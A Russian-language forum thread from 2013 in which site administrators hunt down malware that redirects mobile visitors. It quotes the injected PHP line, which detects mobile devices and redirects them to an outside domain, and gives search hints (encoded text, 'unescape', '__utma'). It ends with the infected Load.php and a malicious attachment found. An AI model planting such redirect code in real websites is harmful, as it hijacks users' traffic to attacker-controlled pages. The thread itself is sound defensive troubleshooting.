Вирус при работе с мобильных устройств

[Guyver]

Ну хоть пробовали?
Сообщение присоединено: 22 Апреля 2013, 14:50:15В общем. Ищите вот что:  

Код:

if (detect_mobile_device()) { header("Location: [url=http://dronga.info/mobile/index.php?src=other]http://dronga.info/mobile/index.php?src=other[/url]");exit(); }

[time]

Они совсем не заточены. Немного знает clamav, чуть больше скрипт fls.
Вообще стоит поискать любые варианты кодирования текста, вплоть до rot13 и подобного.
Ну и сравнение с бэкапом всегда даст понять где рыть.

В защиту антивирусов - нортон все же бОльшую часть вирусов находит (в другом проекте). Попробую другие варианты
По бакапам - маловероятно. Слишком велики объемы, к тому же сайт постоянно переделывается, и обновляется поэтому фронт работ будет просто нереальным.

[Guyver]

http://joomlaforum.ru/index.php/topic,259689.0.html

[time]

Ну хоть пробовали?
Сообщение присоединено: 22 Апреля 2013, 14:50:15В общем. Ищите вот что:  

Код:

if (detect_mobile_device()) { header("Location: [url=http://dronga.info/mobile/index.php?src=other]http://dronga.info/mobile/index.php?src=other[/url]");exit(); }

Пробовали искать те адреса куда шла переадресация до этого (они меняются регулярно). Но проверить вновь не сложно. Испробуем

[voland]

unescape - в js
__utma - в php
Сообщение присоединено: 22 Апреля 2013, 17:32:40

unescape - в js
__utma - в php

Нашлось что?

[Antia]

Сегодня с symbian совсем на k-ur не заходит - "удаленный сервер или файл не найден".

А ПТП свой сайт уже починили...

[Тролль]

В Опере бета - О -  Настройки - Дополнительно - User Agent - Настольный компьютер

у меня вроде получилось

[time]

Вроде получилось. Проверяйте.
Вирус сидел на форумском движке. Был заражен файл Load.php код нашелся через "if (detect_mobile_device"
Также был заражен один из файлов вложения (attachment в форуме - ява скриптом) - похоже через него и провели операцию.
В целом несколько неожиданно - я больше грешил на джумловые дырки...
Спасибо всем неравнодушным!

[Guyver]

Все ок.

[Antia]

Ура, заработало!
Ровно месяц прошел...